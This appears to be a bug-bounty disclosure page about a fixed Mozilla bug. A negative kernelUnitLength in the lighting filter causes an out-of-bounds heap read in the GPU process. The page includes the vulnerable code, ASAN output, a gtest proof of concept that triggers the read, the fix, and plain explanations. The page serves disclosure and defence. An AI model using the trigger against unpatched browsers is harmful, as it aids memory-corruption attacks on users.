Lighting Filter OOB Heap Read via Negative kernelUnitLength
The lighting filter's SetAttribute stored a negative kernelUnitLength without validation, so the surface inflation step deflated instead of inflating and the normal-generation code read outside the allocated buffer. An attacker could trigger an out-of-bounds heap read in the GPU process by replaying a crafted filter through CanvasTranslator.
Originally disclosed on Mozilla
- Fixed in 22 days
- Paid in 49 days
- Disclosed after 22 days
Compromised content process -> GPU process via CanvasTranslator replay.
FilterNodeLightingSoftware::SetAttribute (FilterNodeSoftware.cpp:3362) stores mKernelUnitLength with no validation. Negative values cause the source surface inflation at line 3548 to deflate instead of inflate: ceil(-1.0) = -1, so Inflate(-1) followed by Inflate(1) gives zero net margin. GenerateNormal (line 3464) then reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic. The MOZ_ASSERT positivity check at line 3543 is compiled out in release. All 6 lighting filter types (point/spot/distant diffuse/specular) share the same template code.
Same class of bug as the ConvolveMatrix negative KUL finding, but in a different function requiring a separate fix.
The Bug
FilterNodeSoftware.cpp:3358-3368:
void FilterNodeLightingSoftware<LightType, LightingType>::SetAttribute(
uint32_t aIndex, const Size& aKernelUnitLength) {
case ATT_LIGHTING_KERNEL_UNIT_LENGTH:
mKernelUnitLength = aKernelUnitLength; // NO VALIDATION
The only guard is a MOZ_ASSERT at line 3543 — compiled out in release:
MOZ_ASSERT(aKernelUnitLengthX > 0, "...");
MOZ_ASSERT(aKernelUnitLengthY > 0, "...");
With kernelUnitLength = Size(-1.0, -1.0) and an 8x8 A8 surface (stride=8), GenerateNormal accesses data[-stride - 1] at pixel (0,0) — 9 bytes before the buffer.
ASAN Proof
==81512==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000f46cf
READ of size 1 at 0x60d0000f46cf thread T0
#0 FilterNodeLightingSoftware<DistantLightSoftware, DiffuseLightingSoftware>::Render()+0x1d28
allocated by thread T0 here:
#0 malloc
#1 SourceSurfaceAlignedRawData::Init()
SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeLightingSoftware::Render()
PoC
gfx/tests/gtest/TestLightingFilterOOB.cpp:
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* vim: set ts=8 sts=2 et sw=2 tw=80: */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"
using namespace mozilla;
using namespace mozilla::gfx;
TEST(LightingFilterOOB, NegativeKernelUnitLength)
{
RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
if (!dt) {
return;
}
RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::DISTANT_DIFFUSE);
ASSERT_TRUE(filter);
// Negative kernel unit length: the root cause.
filter->SetAttribute(ATT_DISTANT_DIFFUSE_KERNEL_UNIT_LENGTH,
Size(-1.0f, -1.0f));
filter->SetAttribute(ATT_DISTANT_DIFFUSE_AZIMUTH, 45.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_ELEVATION, 45.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_SURFACE_SCALE, 1.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_DIFFUSE_CONSTANT, 1.0f);
filter->SetAttribute(ATT_DISTANT_DIFFUSE_COLOR,
DeviceColor(1.0f, 1.0f, 1.0f, 1.0f));
filter->SetAttribute(ATT_LIGHTING_RENDER_RECT, IntRect(0, 0, 8, 8));
RefPtr<DataSourceSurface> inputSurface =
Factory::CreateDataSourceSurface(IntSize(8, 8),
SurfaceFormat::B8G8R8A8, true);
ASSERT_TRUE(inputSurface);
filter->SetInput(IN_DISTANT_DIFFUSE_IN, inputSurface);
// ASAN: heap-buffer-overflow READ
dt->DrawFilter(filter, Rect(0, 0, 8, 8), Point(0, 0), DrawOptions());
}
Run: ./mach gtest "LightingFilterOOB.*"
Fix
Clamp kernelUnitLength to positive values in SetAttribute:
mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the setter stored the kernelUnitLength attribute without validating it was positive, relying only on a debug assertion that is removed in release builds.
Impact
A compromised content process could cause an out-of-bounds heap read in the GPU process; the report demonstrates only a read, not code execution.
What the attacker needed
Compromised content process; ability to replay filters to GPU process
The fix
The kernelUnitLength should be clamped to positive values in SetAttribute.
How it was found
- Create an 8x8 draw target and a distant diffuse lighting filter on it.
- Set the filter's kernel unit length attribute to a negative size.
- Set the remaining lighting attributes and the render rectangle.
- Create an input surface and attach it to the filter.
- Draw the filter, which triggers the out-of-bounds read under ASAN.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A filter effect in the graphics code uses a value called kernelUnitLength to decide how much extra space to add around an image before processing it. The code assumed this value would always be positive, but nothing actually checked it, so a negative value made the padding shrink instead of grow. The processing code then read pixels from just outside the image's memory, which is an out-of-bounds read.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.